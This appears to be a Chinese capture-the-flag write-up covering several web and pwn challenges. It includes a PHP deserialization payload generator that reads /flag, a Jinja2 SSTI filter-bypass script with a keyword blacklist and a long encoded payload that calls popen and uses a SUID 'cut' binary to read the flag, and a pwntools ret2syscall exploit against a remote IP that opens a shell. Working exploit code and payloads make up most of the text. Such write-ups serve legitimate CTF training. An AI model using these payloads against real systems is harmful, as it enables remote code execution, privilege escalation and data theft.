web
禁止访问
Client-IP: 192.168.1.1
ezphp
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
public $key;
public function readflag(){
if($this->key === "\0key\0"){
readfile('/flag');
}
}
}
class B{
public function __toString(){
return ($this->b)();
}
}
class C{
public $s;
public $str;
public function __construct($s){
$this->s = $s;
}
public function __destruct(){
echo $this->str;
}
}
$a = new A();
$a->key = '\00key\00';
$payload = new C('');
$payload->str = new B();
$payload->str->b = array($a,'readflag');
$ser = serialize($payload);
$ser = str_ireplace('s:9:"\00key\00"','S:5:"\00key\00"',$ser);
$ser = str_ireplace('O:1:"C":2:{s:1:"s";s:0:"','',$ser);
$result = str_repeat("\0", strlen($ser));
$ans = $result.$ser;
echo urlencode($ans);
?>
web01
extract变量覆盖
web02
[]数组绕过strcmp,非法命名.转化成下划线绕过strpos
web03
访问index.php,302跳转
web04
pht绕过检测,官方文档中pht简介
web05
注册之后ssrf
web12
和web02一样的
ssti
black_list = ["class", "__", "'", "\"", "~", "+", "globals", "request", "{%", "true", "false", 'lipsum', 'url_for','get_flashed_messages', 'range', 'dict', 'cycler', 'self']
过滤了这些类,通过[a]|count可以获取到任意数字,这里的a是undefined,也就是一个未定义变量,不是字母a,因为引号都被过滤了,这是第一步。然后可以通过{{config|string}}将flask框架的config转化为字符串,(config|string)[1]就能获取到字符,第二步。最后一步就是通过['a','b']|join这种格式将我们之前第二步得到的字符拼接成字符串。但是我们只能得到字符串,想用request是不行的。因为request和config一样都是内置的全局变量(大概)。我们得到的相当于是'request',{{'config'}}也是不会有回显的。
本来的payload是config'__class__''__globals__'.popen('cat /f*').read(),可以通过下面的脚本把单引号包裹的字符串转化来绕过。可以执行命令后发现/flag没权限读,真的恶心。因为&、+、|等字符都不好获取,所以也不好弹shell。直接用find命令会报超时,我们可以ls -al /usr/bin,查找rws权限的可以suid提权的命令,找到cut,然后直接读flag就可以了。整个思路是从这篇文章里学来的。
def getNum(num):
return '(' + str(list('a' * num)).replace('\'', '').replace(' ', '') + '|count)'
def getDis(k):
n = 0
while 2 ** n <= k:
n += 1
m = 2 ** n - k
result = f'([a,a]|count)**{getNum(n)}'
if m > 0:
result += f'-{getNum(m)}'
return result
def getChar(char):
text = "<config {'debug': false, 'testing': false, 'propagate_exceptions': none, 'secret_key': '2908fe27-2980-40eb-a9bb-c46d5afeb973', 'permanent_session_lifetime': datetime.timedelta(days=31), 'use_x_sendfile': false, 'server_name': none, 'application_root': '/', 'session_cookie_name': 'session', 'session_cookie_domain': none, 'session_cookie_path': none, 'session_cookie_httponly': true, 'session_cookie_secure': false, 'session_cookie_samesite': none, 'session_refresh_each_request': true, 'max_content_length': none, 'send_file_max_age_default': none, 'trap_bad_request_errors': none, 'trap_http_exceptions': false, 'explain_template_loading': false, 'preferred_url_scheme': 'http', 'templates_auto_reload': none, 'max_cookie_size': 4093}>"
index = text.index(char)
return f"(config|lower)[{getDis(index)}]"
def getString(string):
return str([getChar(char) for char in string]).replace('\'', '').replace(' ', '') + '|join'
payload = "cut -d '' -f1 /flag"
ans = getString(payload.lower())
print(ans)
#/user?username={{config[[(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a]|count)-([a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)]]|join][[(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a]|count)-([a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a]|count)-([a]|count)],(config|lower)[([a,a]|count)**([a,a,a]|count)-([a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)]]|join][[(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a]|count)-([a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a]|count)-([a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a]|count)-([a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)]]|join][[(config|lower)[([a,a]|count)**([a,a]|count)-([a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a]|count)]]|join].popen([(config|lower)[([a,a]|count)**([a]|count)-([a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a]|count)-([a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a]|count)-([a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a]|count)-([a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a]|count)-([a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a]|count)-([a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a]|count)-([a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a]|count)-([a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a]|count)-([a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a]|count)-([a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a,a,a,a]|count)-([a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a]|count)-([a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a,a,a]|count)-([a,a,a,a,a,a,a,a,a,a,a,a,a]|count)],(config|lower)[([a,a]|count)**([a,a,a]|count)-([a,a]|count)]]|join).read()}}
pwn
栈溢出2
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
# io=process('./pwn')
io = remote('39.106.48.123', 44194)
pop_other_ret=0x806eb90
pop_eax_ret = 0x4005fb
pop_rdi_ret = 0x4005ff
bin_sh_addr=0x400714
pop_rsi_ret = 0x400601
pop_rdx_ret = 0x400603
syscall = 0x400607
padding = 0xd0+0x8
payload=b'a'*padding+p64(pop_eax_ret)+p64(0x3b)+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_ret)+p64(0)+p64(syscall)
io.sendline(payload)
io.interactive()
看起来很厉害但是我看不懂
feng 04-15